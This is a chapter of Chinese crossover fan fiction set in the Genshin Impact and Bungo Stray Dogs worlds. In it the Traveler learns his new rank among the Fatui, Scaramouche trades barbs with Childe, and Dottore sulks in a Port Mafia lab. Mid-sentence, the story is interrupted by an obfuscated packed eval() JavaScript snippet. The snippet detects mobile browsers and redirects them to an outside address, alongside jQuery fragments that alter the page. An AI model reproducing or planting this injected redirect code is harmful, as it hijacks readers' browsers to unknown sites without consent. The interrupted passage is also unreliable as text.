14.第 14 章

作品:《旅行者,但至冬卡池

    一旁的散兵没好气地翻了个白眼,不愿意看这末席翻倍的可怕场面,转身就想走。


    “欸,这不是斯卡拉姆齐嘛,好久不见呀!”


    可惜晚了一步,还是被一声清亮的招呼给拦住了。


    毕竟他那样显眼的存在感,达达利亚再怎么粗枝大叶也不可能忽略自己的同僚。


    倒不如说,正因为是同僚,他才会下意识地重点关注这些家伙。


    不过,这一点他们几个应该都是一样的。


    事实上,在散兵得知自己对世界树的操作被消除之后,最不想面对的就是现在这种场面。


    “原来那时候的阿帽先生就是你啊,”


    公子笑着说,从被召唤到这里开始他就一直心情很好的样子,“怪不得我总觉得阿帽对愚人众的内部情报有些过于了解了。”


    “还和阿蕾奇诺聊过,要不要调查一下呢!”


    而且【仆人】当时看上去很赞同的样子。


    散兵沉痛地闭了闭眼。


    他就知道会被拿这件事调侃。


    当时的他确信他的同僚们不会保留与【散兵】有关的记忆,所以根本没太在意隐藏身份的问题。


    谁能想到,这好端端的世界树说坏就坏。


    一想到以后每次召唤,都要被不同的人拿这茬儿翻出来调笑一遍,他就已经想要手刃嘟嘟可了。


    无辜的嘟嘟可:……?


    他压低斗笠,完全无视达达利亚那充满感慨的语气,习惯性地冷嘲回嘴。


    “哼,用你那空空如也的脑袋好好想一想自己的用处吧,有时间跟我废话不如去做点正事如何,末席。”


    被特意咬字强调的末席一脸无辜地歪头:“好吧,有什么要吩咐的事情嘛,长官?”


    与他平级的第六席【散兵】深吸一口气,只觉得自己若是继续跟他计较,简直就像是脑子生锈了一样。


    他冷冷丢下一句:“去问旅行者。”


    拂袖而去。


    ……


    见他们聊了起来后,那些压根不敢在执行官大人们对话时插嘴的愚人众士官们,都安静地缩在一旁。


    恨不得把自己存在感降到负数。


    直到【公子】大人又一次不知不觉中把【散兵】大人气走,他们才终于敢悄悄喘口气。


    显然比起作为纯粹的武者,总是与部下们打成一片的达达利亚。


    部下损耗率名列前茅的斯卡拉姆齐才是更令他们畏惧的存在。


    见散兵利落离去,一旁围观的旅行者还意犹未尽。


    他便和公子一起,开始安置这群一时无所适从的愚人众卫兵们。


    正好,他们现在有一整个新鲜入手的,空空荡荡的基地。


    顺便还可以办一个欢迎派对。


    这个提议得到了公子举双手的赞成。


    中也虽然没明说,但看起来也颇为期待。


    连脱离自小生活的组织所带来的不适与沉郁,都淡去了不少。


    兰波先生见状,主动提出负责去采买食物,把热热闹闹的准备工作交给了这帮年轻人们。


    “请让我们来就可以了,大人。”


    说话的是一个穿着棕色愚人众制服的岩使游击兵,瓦列里·科斯蒂列夫。


    他自我介绍说自己是【公鸡】大人的部下,在这类庶务方面颇有心得。


    看样子,是因为他比其他几人更会待人接物,所以被大家推出来与旅行者交流。


    “欸,谢谢你,帮我搭把手就好。”


    空有些意外他会主动过来帮忙,却也把这当成与愚人众破冰的第一步,很欣慰地把自己手里提着的椅子分了一个给他。


    一次性提四个确实有点为难他了。


    倒不是重量的原因,主要是拖地。


    “好……好的。”


    瓦列里有些紧张局促地接过空手中搬着的桌椅,看起来不太适应这种过于日常的对话。


    “……”


    歪了歪头,空察觉到了其中的违和。


    这些愚人众的士官们对他的态度可以说是诚惶诚恐。


    恭敬的有些过分了,就仿佛他会吃人一样。


    “那个,请问我是有哪里不对劲吗?”


    他忍不住好奇这些人为什么对自己如此敬畏?


    毕竟他更习惯的是走在路上只要被愚人众看见,对方就会立刻红眼索敌,举木仓相向的那种日子。


    于是,抓住一个合适的空档,他终于把自己的疑问问了出来。


    几个正在扫地的愚人众士官小心翼翼地看了一眼,确认到达达利亚已经注意到这边。


    在得到他微不可察的首肯后,才老老实实地回答。


    “因为女皇陛下的命令,要将您当作与【丑角】大人地位相当的人物看待。”


    旅行者眨了眨眼。


    那不就是与公子他们一样的特权吗?


    突然被发放了一份无痛直升执行官的 offer,他内心一时间有点复杂。


    家人们,他好像突然升职加薪获得了一份稳定的体制内事业编工作。


    除了不保证员工安全之外,一切待遇从优。


    以后就是【旅者】大人了。


    出门在外北国银行可以给我报销吗?


    旁听的公子对空突如其来的抽象并不意外,只是半开玩笑一般好心提醒他:“这位【旅者】大人,愚人众是至冬的外交部门哦?严格来讲,你应该是外交官才对。”


    ……对哦。


    空恍恍惚惚地想起来,自己第一次听说愚人众的时候,确实有人说明过,他们是被派到蒙德的外交官。


    只是,他又想起女士在蒙德大教堂外,对着被供奉的风神的神之心下手时那盛气凌人的态度。


    博士在须弥伙同大贤者囚禁草神,散兵借雷神之心登神,与他们大战的行径……


    他实在很难想象,冰之女皇到底是出于什么样的精神状态,才会给这帮卧龙凤雏安上一个外交官的名号。


    是从此以后都不需要任何盟友了吗?


    不过,说起丑角……


    空想起了某个人,顺势问道:“我记得,丑角是你们的统括官,那就算是执行官们也要听从他的命令么?”


    那士官立刻点头:“是的,各位执行官大人也要服从丑角大人的命令,否则会被视为背叛愚人众。”


    他没有任何迟疑犹豫,就仿佛这是什么真理一样确凿无疑。


    空恍然大悟。


    难怪多托雷当时那么轻易就答应了他的要求。


    原来是女皇早有命令在先。


    回想起来,当时多托雷与他打机锋,若是他没有坚持自己的态度,说不定那家伙就会顺势蒙混过去。


    而且在女皇那边也依然能交代得过去。


    可恶!


    那个狡猾的薄荷乌鸦!


    想到某个人,空后知后觉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318324|198924||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    咬牙切齿起来。


    来到横滨已经有些日子了,博士却一直没有在他们面前现身。


    从太宰治的话中,散兵推测他应当是在和 Port Mafia合作……


    “还泄露了不少愚人众的情报。”


    分析中的散兵毫不犹豫地将这口锅扣在了博士的头上。


    那很坏了。


    虽然旅行者总觉得,这件事未必是博士那边泄露的。


    毕竟太宰治说出的内容实在太具体,让人忍不住怀疑他是不是因为某种可以看见未来的异能,提前获得了重要情报。


    这也是因为空对太宰治并不了解,才会产生的误判。


    他并不知道,太宰治本人是极为罕见的反异能力者。


    而人间失格是一种纯粹的被动异能,只要宿主还活着,任何异能力都无法在他身上生效。


    不过,好在比起太宰治,他对多托雷的了解还是足够的。


    这家伙这么多天没个音讯,十有八九是在为下一次搞事做准备。


    不过在那之前,有件事让他有些疑虑,需要先确认一下。


    他转头问公子:“博士真的会听从丑角的命令吗?”


    那家伙拿到三月的力量之后直接连木偶和仆人一起打来着。


    怎么看都不像是会老老实实遵守愚人众纪律的样子。


    公子认真想了想,才回答:“丑角代表着女皇陛下,博士是不会违背女皇陛下的命令的。”


    ……博士竟然是这么有忠诚心的人设吗?


    空对他说的话半信半疑。


    离家出走了半天,又冷着脸回来的散兵很不客气地帮公子那句非常委婉的表述翻译了一下。


    “多托雷是个聪明人。在没有十成把握之前,他是不会和女皇撕破脸的。”


    愚人众前三席确实有着堪比神明的力量,但不代表着博士打得过一位执政多年的魔神。


    不然他也不会是二席了。


    那位以冷酷手段著称的冰之女皇,是真的会拎起权杖把他当场锤成饼饼的。


    听懂了潜台词的旅行者:“……”


    好可怕。


    ……


    与此同时,Port Mafia的地下室里。


    仿佛预感到了什么,薄荷蓝长发的男人迅速放下了手中正要调配的药剂。


    多托雷连着疯狂打了好几个喷嚏,连蓝色的耳坠都跟着一晃一晃。


    他身后盛满漆黑溶液的巨大培养仓中,也泛起了一圈圈细微的涟漪。


    太宰治一脸无辜地侧过头看他,语气假惺惺得关心道:“呀,多托雷先生,你感冒了吗?”


    “并没有。”博士难得态度不那么从容地冷声回答。


    没有被面具挡住的嘴角下弯,上面写满了不愉快。


    他当然不愉快。


    森鸥外前脚刚走,太宰治后脚又蹭了进来。


    这两天他这里几乎门庭若市,来来往往的客人络绎不绝。


    这Port Mafia号称最高级别的防御措施就仿佛筛子一样。


    搞得他都要怀疑,这里根本不是他本该严肃的研究场地,而是什么支持打卡拍照的网红咖啡厅了。


    当然,他是绝对不会给这些人上咖啡的。


    他只会把所有胆敢打扰他研究的家伙全都一锅毒死。


    这个地方呆不下去了,他该找下家了。


    多托雷冷酷地想着。